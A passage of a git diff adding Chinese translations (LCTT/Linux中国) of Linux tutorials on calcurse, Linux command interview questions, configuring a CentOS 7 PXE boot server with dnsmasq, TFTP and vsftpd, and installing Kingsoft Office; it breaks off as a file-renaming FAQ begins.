calcurse-3.2.1.tar.gz + # cd calcurse-3.2.1 + # ./configure + # make + # make install + +### 启动 Calcurse ### + +安装完成后,你就可以用下面的命令启动calcurse了: + + $ calcurse + +你将会看到下面的空白界面。如果这配色不吸引你,你可以以后换一个。 + +![](https://farm8.staticflickr.com/7567/15410270544_0af50a4eb6_c.jpg) + +我们现在可以按下回车-‘q’- 再次按下回车- ‘y’来退出主界面。这个按键序列激活界面底部的主菜单,并告诉它保存当前的笔记并确认退出。 + +我们第一次运行 calcurse 时,会在主目录创建如下子目录: + +![](https://farm8.staticflickr.com/7482/15845194188_2ba15035e7_o.png) + +这里是每一个子目录的简要描述: + +- **apts**文件包含了用户所有的约会和事项,todo文件包含了所有的**待办事项** 列表。 +- **conf**文件,如你所想的那样,包含当前用户的独立设置。 +- **keys**文件包含了用户定义的按键绑定(比如:q或者Q退出,x或者X导出内容等等)。 +- 在**notes**子目录你会看到包含了笔记描述的文件,这些笔记你可以附到任何一个安排事项中。 + +### 改变配色 ### + +要改变配色,按照下面的步骤: + +![](https://farm9.staticflickr.com/8595/16006755476_5289384f81_z.jpg) + +使用最后一幅图的按键绑定来选择前景色和背景色配置,以更好地适应你的需求: + +![](https://farm8.staticflickr.com/7499/15845274420_70bb95c221_b.jpg) + +### 添加约会和待办任务 ### + +在前面的选项卡中浏览命令菜单时,我们看到按下‘o’可以从一个菜单跳到下一个菜单。我们可以把第二个菜单作为**安排编辑菜单**。 + +![](https://farm9.staticflickr.com/8634/16031851732_b947951f76_c.jpg) + +那么我们用Ctrl + A 和 Ctrl + T组合键为今天添加一个新的约会和一个新的待办任务。如果我们希望为约会指定一个具体的日期而不是今天,我们可以在添加约会和待办事项前使用Ctrl + L (+1 天)、Ctrl + H (-1 天)、Ctrl + J (+1 周)和Ctrl + K (-1 周)组合键。 + +![](https://farm8.staticflickr.com/7498/15410270594_dc282928ac_z.jpg) + +添加待办任务的步骤是相似的,只是用Ctrl + T,之前已经解释了: + +![](https://farm8.staticflickr.com/7520/15845386020_9799fe7378_o.png) + +你还会被要求输入一个优先级,这样待办任务就会显示在主页上了: + +![](https://farm8.staticflickr.com/7498/15413012243_e081b4e0b3_o.png) + +你现在可以验证待办任务和约会已经相应地添加到了.culcurse文件夹下的todo和apts文件中了: + +![](https://farm8.staticflickr.com/7569/16030583401_0a07d007aa_z.jpg) + +注意你可以使用你最喜欢的编辑器或者菜单底部的calcurse屏幕来编辑这些文件。你可以按下TAB来在不同的面板间切换,并选择你想要编辑的项目: + +![](https://farm9.staticflickr.com/8663/16032536475_2fd68e16bf_z.jpg) + +### 为事项设置通知 ### + +你可以在通知菜单下配置通知。按照相同的步骤来改变配色方案,但是选择**Notify**而不是**Colour**: + +![](https://farm8.staticflickr.com/7569/15412900863_eaf2767e19_z.jpg) + +假设你想要设置email通知。按下数字5来编辑**notify-bar_command**的值: + +![](https://farm8.staticflickr.com/7531/16030583451_6d116b5f63_z.jpg) + +按照上面的设置之后,如果这个任务被标为重要,那么root@localhost会在300秒(或者5分钟)后收到邮件通知,这会发生在下一个安排的任务之前。如果你想要即使calcurse不在运行也启用这个功能,那么将notify-daemon_enable设成yes。在本例中,dev2是本机的主机名。 + +![](https://farm8.staticflickr.com/7552/16031851862_afbf1937d0_z.jpg) + +请注意出于演示目的,我已经在这篇教程中改变了原始约会的开始和/或者结束时间。 + +### 总结 ### + +本篇教程中我们展示了如何设置一个多样化的调度器和提醒器来帮助你组织每日的活动和提前安排重要的事项。你或许还要看看calcurse的[PDF 手册][2],请随意在下面的评论中提出你的疑问。欢迎你的评论,我也很高兴看到这些。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/schedule-appointments-todo-tasks-linux-terminal.html + +作者:[Gabriel Cánepa][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://calcurse.org/ +[2]:http://calcurse.org/files/manual.pdf \ No newline at end of file diff --git a/published/201502/20141223 20 Linux Commands Interview Questions & Answers.md b/published/201502/20141223 20 Linux Commands Interview Questions & Answers.md new file mode 100644 index 0000000000..d7e20f6b24 --- /dev/null +++ b/published/201502/20141223 20 Linux Commands Interview Questions & Answers.md @@ -0,0 +1,143 @@ +20条Linux命令面试问答 +================================================================================ +**问:1 如何查看当前的Linux服务器的运行级别?** + +答: ‘who -r’ 和 ‘runlevel’ 命令可以用来查看当前的Linux服务器的运行级别。 + +**问:2 如何查看Linux的默认网关?** + +答: 用 “route -n” 和 “netstat -nr” 命令,我们可以查看默认网关。除了默认的网关信息,这两个命令还可以显示当前的路由表。 + +**问:3 如何在Linux上重建初始化内存盘镜像文件?** + +答: 在CentOS 5.X / RHEL 5.X中,可以用mkinitrd命令来创建初始化内存盘文件,举例如下: + + # mkinitrd -f -v /boot/initrd-$(uname -r).img $(uname -r) + +如果你想要给特定的内核版本创建初始化内存盘,你就用所需的内核名替换掉 ‘uname -r’ 。 + +在CentOS 6.X / RHEL 6.X中,则用dracut命令来创建初始化内存盘文件,举例如下: + + # dracut -f + +以上命令能给当前的系统版本创建初始化内存盘,给特定的内核版本重建初始化内存盘文件则使用以下命令: + + # dracut -f initramfs-2.x.xx-xx.el6.x86_64.img 2.x.xx-xx.el6.x86_64 + +**问:4 cpio命令是什么?** + +答: cpio就是复制入和复制出的意思。cpio可以向一个归档文件(或单个文件)复制文件、列表,还可以从中提取文件。 + +**问:5 patch命令是什么?如何使用?** + +答: 顾名思义,patch命令就是用来将修改(或补丁)写进文本文件里。patch命令通常是接收diff的输出并把文件的旧版本转换为新版本。举个例子,Linux内核源代码由百万行代码文件构成,所以无论何时,任何代码贡献者贡献出代码,只需发送改动的部分而不是整个源代码,然后接收者用patch命令将改动写进原始的源代码里。 + +创建一个diff文件给patch使用, + + # diff -Naur old_file new_file > diff_file + +旧文件和新文件要么都是单个的文件要么都是包含文件的目录,-r参数支持目录树递归。 + +一旦diff文件创建好,我们就能在旧的文件上打上补丁,把它变成新文件: + + # patch < diff_file + +**问:6 aspell有什么用 ?** + +答: 顾名思义,aspell就是Linux操作系统上的一款交互式拼写检查器。aspell命令继任了更早的一个名为ispell的程序,并且作为一款免费替代品 ,最重要的是它非常好用。当aspell程序主要被其它一些需要拼写检查能力的程序所使用的时候,在命令行中作为一个独立运行的工具的它也能十分有效。 + +**问:7 如何从命令行查看域SPF记录?** + +答: 我们可以用dig命令来查看域SPF记录。举例如下: + + linuxtechi@localhost:~$ dig -t TXT google.com + +**问:8 如何识别Linux系统中指定文件(/etc/fstab)的关联包?** + +答: # rpm -qf /etc/fstab + +以上命令能列出提供“/etc/fstab”这个文件的包。 + +**问:9 哪条命令用来查看bond0的状态?** + +答: cat /proc/net/bonding/bond0 + +**问:10 Linux系统中的/proc文件系统有什么用?** + +答: /proc文件系统是一个基于内存的文件系统,其维护着关于当前正在运行的内核状态信息,其中包括CPU、内存、分区划分、I/O地址、直接内存访问通道和正在运行的进程。这个文件系统所代表的并不是各种实际存储信息的文件,它们指向的是内存里的信息。/proc文件系统是由系统自动维护的。 + +**问:11 如何在/usr目录下找出大小超过10MB的文件?** + +答: # find /usr -size +10M + +**问:12 如何在/home目录下找出120天之前被修改过的文件?** + +答: # find /home -mtime +120 + +**问:13 如何在/var目录下找出90天之内未被访问过的文件?** + +答: # find /var \\! -atime -90 + +**问:14 在整个目录树下查找文件“core”,如发现则无需提示直接删除它们。** + +答: # find / -name core -exec rm {} \; + +**问:15 strings命令有什么作用?** + +答: strings命令用来提取和显示非文本文件中的文本字符串。(LCTT 译注:当用来分析你系统上莫名其妙出现的二进制程序时,可以从中找到可疑的文件访问,对于追查入侵有用处) + +**问:16 tee 过滤器有什么作用 ?** + +答: tee 过滤器用来向多个目标发送输出内容。如果用于管道的话,它可以将输出复制一份到一个文件,并复制另外一份到屏幕上(或一些其它程序)。 + + linuxtechi@localhost:~$ ll /etc | nl | tee /tmp/ll.out + +在以上例子中,从ll输出可以捕获到 /tmp/ll.out 文件中,并且同样在屏幕上显示了出来。 + +**问:17 export PS1 = ”$LOGNAME@`hostname`:\$PWD: 这条命令是在做什么?** + +答: 这条export命令会更改登录提示符来显示用户名、本机名和当前工作目录。 + +**问:18 ll | awk ‘{print $3,”owns”,$9}’ 这条命令是在做什么?** + +答: 这条ll命令会显示这些文件的文件名和它们的拥有者。 + +**问:19 :Linux中的at命令有什么用?** + +答: at命令用来安排一个程序在未来的做一次一次性执行。所有提交的任务都被放在 /var/spool/at 目录下并且到了执行时间的时候通过atd守护进程来执行。 + +**问:20 linux中lspci命令的作用是什么?** + +答: lspci命令用来显示你的系统上PCI总线和附加设备的信息。指定-v,-vv或-vvv来获取越来越详细的输出,加上-r参数的话,命令的输出则会更具有易读性。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/20-linux-commands-interview-questions-answers/ + +作者:[Pradeep Kumar][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201502/20141223 Setting up a 'PXE Network Boot Server' for Multiple Linux Distribution Installations in RHEL or CentOS 7.md b/published/201502/20141223 Setting up a 'PXE Network Boot Server' for Multiple Linux Distribution Installations in RHEL or CentOS 7.md new file mode 100644 index 0000000000..046cee4f98 --- /dev/null +++ b/published/201502/20141223 Setting up a 'PXE Network Boot Server' for Multiple Linux Distribution Installations in RHEL or CentOS 7.md @@ -0,0 +1,330 @@ + +RHEL/CentOS 7中配置用于多版本Linux安装的“PXE网络启动服务器” +================================================================================ +**PXE服务器**——预启动执行环境——指示客户端计算机直接从网络接口启动、运行或安装操作系统,而不需要烧录CD/DVD或使用某个物理介质,它可以减轻你网络中多台机器同时安装Linux发行版的工作。 + +![Setting PXE Network Boot in RHEL/CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/10/Setting-PXE-Network-Boot-in-CentOS.png) + +*在RHEL/CentOS 7中设置PXE网络启动* + +#### 前置阅读 #### + +- [CentOS 7最小化安装步骤][1] +- [RHEL 7最小化安装步骤][2] +- [在RHEL/CentOS 7中配置静态IP地址][3] +- [移除RHEL/CentOS 7中不要的服务][4] +- [安装NTP服务器以设置RHEL/CentOS 7的正确时间][5] + +本文将介绍如何在配置有本地镜像安装仓库的**RHEL/CentOS 7** 64位上安装并配置一台**PXE服务器**,仓库源由CentOS 7 DVD 的 ISO镜像提供,并由**DNSMASQ**服务器提供解析。 + +该机器提供了**DNS**和**DHCP**服务,用于网络启动引导的**Syslinux**包,**TFTP-Server**——提供了可通过网络使用**小文件传输协议**下载的可启动镜像,以及提供本地挂载DVD镜像的**VSFTPD**服务器——它将扮演官方RHEL/CentOS 7镜像安装仓库的角色,安装器将从这里提取所需的包。 + +### 步骤1: 安装并配置DNSMASQ服务器 ### + +**1.** 不需要提醒你来确定你的网络接口卡吧,除非你的服务器上有多个网络接口卡,该网卡必须配置有静态IP地址,该IP地址必须处于你要提供PXE服务的网段中。 + +那么,在你配置好静态IP地址后,更新你的系统并进行其它初始设置。请使用以下命令来安装**DNSMASQ**进程。 + + # yum install dnsmasq + +![Install dnsmasq Package](http://www.tecmint.com/wp-content/uploads/2014/10/Install-dnsmasq-in-CentOS.jpg) + +*安装dnsmasq包* + +**2.** DNSMASQ的默认的主配置文件位于**/etc**目录中,虽然不需要任何说明就能看懂,但编辑起来确实相当困难的,即使有很详细的说明性注释。 + +首先,确保你备份了该文件,以便你需要在以后对它进行恢复。然后使用你爱用的文本编辑器创建一个新的空配置文件,命令如下。 + + # mv /etc/dnsmasq.conf /etc/dnsmasq.conf.backup + # nano /etc/dnsmasq.conf + +**3.** 现在,复制并粘贴以下配置到**dnsmasq.conf**文件中,并确保根据如下说明进行相应修改,以适应你的网络设置。 + + interface=eno16777736,lo + #bind-interfaces + domain=centos7.lan + # DHCP range-leases + dhcp-range= eno16777736,192.168.1.3,192.168.1.253,255.255.255.0,1h + # PXE + dhcp-boot=pxelinux.0,pxeserver,192.168.1.20 + # Gateway + dhcp-option=3,192.168.1.1 + # DNS + dhcp-option=6,92.168.1.1, 8.8.8.8 + server=8.8.4.4 + # Broadcast Address + dhcp-option=28,10.0.0.255 + # NTP Server + dhcp-option=42,0.0.0.0 + + pxe-prompt="Press F8 for menu.", 60 + pxe-service=x86PC, "Install CentOS 7 from network server 192.168.1.20", pxelinux + enable-tftp + tftp-root=/var/lib/tftpboot + +![Dnsmasq Configuration](http://www.tecmint.com/wp-content/uploads/2014/10/dnsmasq-configuration.jpg) + +*Dnsmasq配置* + +你需要修改的声明有以下这些: + +- **interface** – 服务器需要监听并提供服务的网络接口。 +- **bind-interfaces** – 取消注释来绑定到该网络接口 +- **domain** – 替换为你的域名。 +- **dhcp-range** – 替换为你的网络掩码定义的网段。 +- **dhcp-boot** – 替换该IP地址为你的网络接口IP地址。 +- **dhcp-option=3,192.168.1.1** – 替换该IP地址为你的网段的网关。 +- **dhcp-option=6,92.168.1.1** – 替换该IP地址为你的DNS服务器IP——可以定义多个IP地址。 +- **server=8.8.4.4** – 这里放置DNS转发服务器IP地址。 +- **dhcp-option=28,10.0.0.255** – 替换该IP地址为网络广播地址——可选项。 +- **dhcp-option=42,0.0.0.0** – 这里放置网络时钟服务器——可选项(0.0.0.0地址表示参考自身)。 +- **pxe-prompt** – 保持默认——按F8进入菜单,60秒等待时间。 +- **pxe=service** – 使用x86PC作为32为/64位架构,并在字符串引述中输入菜单描述提示。其它类型值可以是:PC98,IA_EFI,Alpha,Arc_x86,Intel_Lean_Client,IA32_EFI,BC_EFI,Xscale_EFI和X86-64_EFI。 +- **enable-tftp** – 启用内建TFTP服务器。 +- **tftp-root** – 使用/var/lib/tftpboot——所有网络启动文件所在位置。 + +其它和配置文件相关的高级选项,请参阅[dnsmasq手册][6]。 + +### 步骤2: 安装SYSLINUX启动加载器 ### + +**4.** 在编辑并保存**DNSMASQ**主配置文件后,我们将继续安装**Syslinux** PXE启动加载器,命令如下。 + + # yum install syslinux + +![Install Syslinux Bootloaders](http://www.tecmint.com/wp-content/uploads/2014/10/install-syslinux-bootloaders.jpg) + +*安装Syslinux启动加载器* + +**5.** PXE启动加载器文件位于**/usr/share/syslinux**系统绝对路径下,你可以通过列出该路径下的内容来查看。该步骤不是必须的,但你可能需要知道该路径,因为在下一步中,我们将拷贝该路径下的所有内容到**TFTP服务器**路径下。 + + # ls /usr/share/syslinux + +![Syslinux Files](http://www.tecmint.com/wp-content/uploads/2014/10/syslinux-files.jpg) + +*Syslinux文件* + +### 步骤3: 安装TFTP-Server并加入SYSLINUX加载启动器 ### + +**6.** 现在,让我们进入下一步,安装**TFTP-Server**。然后,拷贝上述位置中Syslinux包提供所有启动加载器文件到**/var/lib/tftpboot**路径中,命令如下。 + + # yum install tftp-server + # cp -r /usr/share/syslinux/* /var/lib/tftpboot + +![Install TFTP Server](http://www.tecmint.com/wp-content/uploads/2014/10/install-tftp-server.jpg) + +*安装TFTP服务器* + +### 步骤4: 设置PXE服务器配置文件 ### + +**7.** 通常,**PXE服务器**从位于**pxelinux.cfg**文件夹中一组指定的文件中读取配置(首先是**GUID**文件,接下来是**MAC**文件,最后是**Default**文件),该文件夹必须位于DNSMASQ主配置文件中**tftp-root**声明指定的目录中。 + +创建需要的目录**pxelinux.cfg**,然后添加**default**文件到该目录中,命令如下。 + + # mkdir /var/lib/tftpboot/pxelinux.cfg + # touch /var/lib/tftpboot/pxelinux.cfg/default + +**8.** 现在,该来编辑**PXE服务器**配置文件了,为它添加合理的Linux发行版安装选项。请注意,该文件中使用的所有路径必须是相对于**/var/lib/tftpboot**目录的。 + +下面,你可以看到配置文件的样例,你可以使用该模板,但请修改安装镜像(kernel和initrd文件)、协议(FTP、HTTP、HTTPS、NFS)以及映射你网络安装源仓库和路径的IP地址等参数。 + + # nano /var/lib/tftpboot/pxelinux.cfg/default + +添加以下整个节录到文件中。 + + default menu.c32 + prompt 0 + timeout 300 + ONTIMEOUT local + + menu title ########## PXE Boot Menu ########## + + label 1 + menu label ^1) Install CentOS 7 x64 with Local Repo + kernel centos7/vmlinuz + append initrd=centos7/initrd.img method=ftp://192.168.1.20/pub devfs=nomount + + label 2 + menu label ^2) Install CentOS 7 x64 with http://mirror.centos.org Repo + kernel centos7/vmlinuz + append initrd=centos7/initrd.img method=http://mirror.centos.org/centos/7/os/x86_64/ devfs=nomount ip=dhcp + + label 3 + menu label ^3) Install CentOS 7 x64 with Local Repo using VNC + kernel centos7/vmlinuz + append initrd=centos7/initrd.img method=ftp://192.168.1.20/pub devfs=nomount inst.vnc inst.vncpassword=password + + label 4 + menu label ^4) Boot from local drive + +![Configure PXE Server](http://www.tecmint.com/wp-content/uploads/2014/10/configure-pxe-server.jpg) + +*配置PXE服务器* + +正如你所见,CentOS 7启动镜像(kernel和initrd)位于名为**centos7**的目录,该目录是**/var/lib/tftpboot**目录的相对路径(其系统绝对路径为**/var/lib/tftpboot/centos7**),而安装器仓库位于可通过FTP协议访问的**192.168.1.20/pub**网络位置中——在本例中,这些仓库位于本地,因为IP地址和PXE服务器地址相同。 + +同时,菜单**label 3**指定客户端安装应该通过**VNC**从一个远程位置实现(这里替换VNC密码为一个健壮的密码),如果你在一台没有输入输出的客户端上安装,菜单**label 2**指定了作为安装源的一个CentOS 7官方互联网镜像(这种情况要求客户端通过DHCP和NAT连接到互联网)。 + +**重要**:正如你在上述配置中所看到的,我们使用了CentOS 7进行演示,但是你也可以定义一个 RHEL 7镜像。而下面的整个的说明和配置都只是基于CentOS 7的,所以在选发行版时要注意一下。 + +### 步骤5: 添加CentOS 7启动镜像到PXE服务器 ### + +**9.** 对于此步骤,需要用到CentOS的kernel和initrd文件。要获取这些文件,你需要**CentOS 7 DVD ISO**镜像。所以,去下载CentOS DVD镜像吧,然后把它(刻录成光盘)放入你的DVD驱动器并挂载镜像到**/mnt**路径,命令见下面。 + +使用DVD,而不是最小化CD镜像的原因在于,在后面我们将使用该DVD的内容为**FTP**源创建本地安装器仓库。 + + # mount -o loop /dev/cdrom /mnt + # ls /mnt + +![Mount CentOS DVD](http://www.tecmint.com/wp-content/uploads/2014/10/mount-centos-dvd.jpg) + +*挂载CentOS DVD* + +如果你的机器没有DVD驱动器,你也可以使用**wget**或**curl**工具从[CentOS镜像站][7]下载**CentOS 7 DVD ISO**到本地并挂载。 + + # wget http://mirrors.xservers.ro/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso + # mount -o loop /path/to/centos-dvd.iso /mnt + +**10.** 在DVD内容可供使用后,创建**centos7**目录并将CentOS 7 的可启动的 kernel和initrd映像文件从DVD挂载位置拷贝到centos7文件夹。 + + # mkdir /var/lib/tftpboot/centos7 + # cp /mnt/images/pxeboot/vmlinuz /var/lib/tftpboot/centos7 + # cp /mnt/images/pxeboot/initrd.img /var/lib/tftpboot/centos7 + +![Copy CentOS Bootable Files](http://www.tecmint.com/wp-content/uploads/2014/10/copy-centos-bootable-files.jpg) + +*拷贝CentOS可启动文件* + +使用该方法的原因在于,今后你可能会在**/var/lib/tftpboot**路径中创建新的独立的目录,并添加其它Linux发行版到PXE菜单中,你就不会将整个目录结构弄得一团糟了。 + +### 步骤6: 创建CentOS 7本地镜像安装源 ### + +**11.** 虽然你可以通过多种协议设置**安装源镜像**,如HTTP、HTTPS或NFS,但对于本指南,我选择了使用**FTP**协议。因为通过**vsftpd**,你可以很便捷地配置,而且它也很稳定。 + +接下里,安装vsftpd进程,然后复制所有DVD挂载目录中的内容到**vsftpd**默认服务器路径下(**/var/ftp/pub**)——这会花费一些时间,这取决于你的系统资源。然后为该路径设置可读权限,命令如下。 + + # yum install vsftpd + # cp -r /mnt/* /var/ftp/pub/ + # chmod -R 755 /var/ftp/pub + +![Install Vsftpd Server](http://www.tecmint.com/wp-content/uploads/2014/10/install-vsftpd-in-centos.jpg) + +*安装Vsftpd服务器* + +![Copy Files to FTP Path](http://www.tecmint.com/wp-content/uploads/2014/10/copy-files-to-ftp-path.jpg) + +*拷贝Files到FTP路径* + +![Set Permissions on FTP Path](http://www.tecmint.com/wp-content/uploads/2014/10/set-permission-on-ftp-path.jpg) + +*设置FTP路径的权限* + +### 步骤7: 在系统范围内启动并启用进程 ### + +**12.** 既然PXE服务器配置已经完成,那么就来启动**DNSMASQ**和**VSFTPD**服务器吧。验证它们的状况并在系统上启用,以便让这些服务在每次系统重启后都能随系统启动,命令如下。 + + # systemctl start dnsmasq + # systemctl status dnsmasq + # systemctl start vsftpd + # systemctl status vsftpd + # systemctl enable dnsmasq + # systemctl enable vsftpd + +![Start Dnsmasq Service](http://www.tecmint.com/wp-content/uploads/2014/10/start-dnsmasq.jpg) + +*启动Dnsmasq服务* + +![Start Vsftpd Service](http://www.tecmint.com/wp-content/uploads/2014/10/start-vsftpd.jpg) + +*启动Vsftpd服务* + +### 步骤8: 打开防火墙并测试FTP安装源 ### + +**13.** 要获取需要在防火墙打开的端口列表,以便让客户机可访问并从PXE服务器启动,请运行**netstat**命令并根据dnsmasq和vsftpd监听列表添加CentOS 7防火墙规则。 + + # netstat -tulpn + # firewall-cmd --add-service=ftp --permanent ## Port 21 + # firewall-cmd --add-service=dns --permanent ## Port 53 + # firewall-cmd --add-service=dhcp --permanent ## Port 67 + # firewall-cmd --add-port=69/udp --permanent ## Port for TFTP + # firewall-cmd --add-port=4011/udp --permanent ## Port for ProxyDHCP + # firewall-cmd --reload ## Apply rules + +![Check Listening Ports](http://www.tecmint.com/wp-content/uploads/2014/10/check-listening-ports.jpg) + +*检查监听端口* + +![Open Ports in Firewall](http://www.tecmint.com/wp-content/uploads/2014/10/open-ports-on-firewall.jpg) + +*在防火墙上开启端口* + +**14.** 要测试FTP安装源网络路径,请在本地或另外一台计算机上打开浏览器([**lynx**][8]就可以做此事),然后输入你架设有FTP服务的PXE服务器的IP地址,并在填入的URL后面加上**/pub**网络位置,结果应该和截图中看到的一样。 + + ftp://192.168.1.20/pub + +![Access FTP Files via Browser](http://www.tecmint.com/wp-content/uploads/2014/10/browse-ftp-files.jpg) + +*通过浏览器访问FTP文件* + +**15.** 要解决PXE服务器最终的配置或其它信息产生的问题,请在live模式下诊断,命令如下: + + # tailf /var/log/messages + +![Check PXE Logs for Errors](http://www.tecmint.com/wp-content/uploads/2014/10/check-pxe-errors.jpg) + +*检查PXE日志错误* + +**16.** 最后,最终所需的步骤就是卸载CentOS 7 DVD,并移除物理介质。 + + # umount /mnt + +### 步骤9: 配置客户端从网络启动 ### + +**17.** 现在,你的客户端可以通过它们的系统BIOS或在**BIOS开机自检**时按指定键来配置网络启动作为**首选启动设备**,具体方法见主板说明手册。 + +为了选择网络启动,在第一次PXE提示符出现时,请按下**F8**键进入到PXE安装界面,然后敲**回车**键继续进入PXE菜单。 + +![PXE Network Boot](http://www.tecmint.com/wp-content/uploads/2014/10/pxe-network-boot.jpg) + +*PXE网络启动* + +![PXE Network OS Boot](http://www.tecmint.com/wp-content/uploads/2014/10/pxe-network-os-boot.jpg) + +*PXE网络OS启动* + +**18.** 一旦你进入PXE菜单,请选择你的CentOS 7安装类型,敲**回车**键继续安装过程,就像你使用本地启动介质安装一样。 + +请记住这一点,使用菜单中的变体2需要激活目标客户端上的互联网连接。在下面的屏幕截图中,你可以通过VNC看到远程安装的实例。 + +![PXE Menu](http://www.tecmint.com/wp-content/uploads/2014/10/pxe-menu.jpg) + +*PXE菜单* + +![Remote Linux Installation via VNC](http://www.tecmint.com/wp-content/uploads/2014/10/os-installation-via-vnc.jpg) + +*通过VNC远程安装Linux* + +![Remote Installation of CentOS](http://www.tecmint.com/wp-content/uploads/2014/10/remote-centos-installation.jpg) + +*远程安装CentOS* + +以上是**CentOS 7**上配置最小化**PXE服务器**的所有内容。在我的本系列下一篇文章中,我将讨论其它PXE服务器配置过程中的其它问题,如怎样使用**Kickstart**文件来配置自动化安装**CentOS 7**,以及添加其它Linux发行版到PXE菜单——**Ubuntu Server**和**Debian 7**。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-pxe-network-boot-server-in-centos-7/ + +作者:[Matei Cezar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/cezarmatei/ +[1]:http://www.tecmint.com/centos-7-installation/ +[2]:http://www.tecmint.com/redhat-enterprise-linux-7-installation/ +[3]:http://linux.cn/article-3977-1.html +[4]:http://www.tecmint.com/remove-unwanted-services-in-centos-7/ +[5]:http://www.tecmint.com/install-ntp-server-in-centos/ +[6]:http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html +[7]:http://isoredirect.centos.org/centos/7/isos/x86_64/ +[8]:http://www.tecmint.com/command-line-web-browsers/ diff --git a/published/201502/20141224 Linux FAQs with Answers--How to install Kingsoft Office on Linux.md b/published/201502/20141224 Linux FAQs with Answers--How to install Kingsoft Office on Linux.md new file mode 100644 index 0000000000..28cef519f8 --- /dev/null +++ b/published/201502/20141224 Linux FAQs with Answers--How to install Kingsoft Office on Linux.md @@ -0,0 +1,81 @@ +Linux有问必答 - 如何在linux上安装WPS +================================================================================ +> **问题**: 我听说一个好东西Kingsoft Office(译注:就是WPS),所以我想在我的Linux上试试。我怎样才能安装Kingsoft Office呢? + +Kingsoft Office 是一套办公套件,支持多个平台,包括Windows, Linux, iOS 和 Android。它包含三个组件:Writer(WPS文字)用来文字处理,Presentation(WPS演示)支持幻灯片,Spereadsheets(WPS表格)是电子表格。其使用免费增值模式,其中基础版本是免费使用。比较其他的linux办公套件,如LibreOffice、 OpenOffice,其最大优势在于,Kingsoft Office能最好的兼容微软的Office(译注:版权问题?了解下wps和Office的历史问题,可以得到一些结论)。因此如果你需要在windows和linux平台间交互,Kingsoft office是一个很好的选择。 + +### CentOS, Fedora 或 RHEL中安装Kingsoft Office ### + +在[官方页面][1]下载RPM文件.官方RPM包只支持32位版本linux,但是你可以在64位中安装。 + +需要使用yum命令并用"localinstall"选项来本地安装这个RPM包 + + $ sudo yum localinstall kingsoft-office-9.1.0.4244-0.1.a12p3.i686.rpm + +注意不要使用rpm命令安装。否者,你会得到依赖错误,而且很难解决: + + 错误: 依赖失败: + libICE.so.6 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + libSM.so.6 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + libX11.so.6 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + libXext.so.6 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + libXrender.so.1 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + libc.so.6 is needed by kingsoft-office-9.1.0.4244-0.1.a12p3.i686 + +基于Red Hat的发行版有多重库支持。如果你要想安装的RPM包是32位的并有32位库依赖(你的系统是64位的),一个很好的解决方法就是使用yum来安装。只要RPM在构建时候已经添加所有依赖关系,yum就可以自动使用yum库解决依赖关系。 + +![](https://farm9.staticflickr.com/8626/16040291445_ca62275064_c.jpg) + +### Debian, Ubuntu 和 Linux Mint 中安装Kingsoft Office### + +在[官方页面][1]下载DEB包。官方RPM包同样只支持32位版本linux,但是你可以在64位中安装。 + +DEB包同样遇到一堆依赖。因此使用[gdebi][3]命令来代替dpkg来自动解决依赖。 + + $ sudo apt-get install gdebi-core + $ sudo gdebi kingsoft-office_9.1.0.4244~a12p3_i386.deb + +### 启动 Kingsoft Office ### + +安装完成后,你就可以在桌面管理器轻松启动Witer(WPS文字), Presentation(WPS演示), and Spreadsheets(WPS表格),如下图。 + +Ubuntu Unity中: + +![](https://farm9.staticflickr.com/8591/16039583702_632a49779f_z.jpg) + +GNOME桌面中: + +![](https://farm9.staticflickr.com/8617/16039583622_4e7c1d8545_b.jpg) + +不但如此,你也可以在命令行中启动Kingsoft Office。 + +启动Wirter(WPS文字),使用这个命令: + + $ wps (译注:原文丢失此命令) + +![](https://farm8.staticflickr.com/7525/16039583642_7202457899_c.jpg) + +启动Presentation(WPS演示),使用这个命令: + + $ wpp + +![](https://farm8.staticflickr.com/7570/15420632223_4243cc99d9_c.jpg) + +启动Spreadsheets(WPS表格),使用这个命令: + + $ et + +![](https://farm9.staticflickr.com/8682/15852842558_97edda4afd_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-kingsoft-office-linux.html + +译者:[Vic020/VicYu](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ksosoft.com/product/office-2013-linux.html +[2]:http://ksosoft.com/product/office-2013-linux.html +[3]:http://xmodulo.com/how-to-install-deb-file-with-dependencies.html diff --git a/published/201502/20141224 Linux FAQs with Answers--How to rename multiple files on Linux.md b/published/201502/20141224 Linux FAQs with Answers--How to rename multiple files on Linux.md new file mode 100644 index 0000000000..d804bd390e --- /dev/null +++ b/published/201502/20141224 Linux FAQs with Answers--How to rename multiple files on Linux.md @@ -0,0 +1,82 @@ +Linux有问必答:如何在Linux下重命名多个文件 +================================================================================ +> 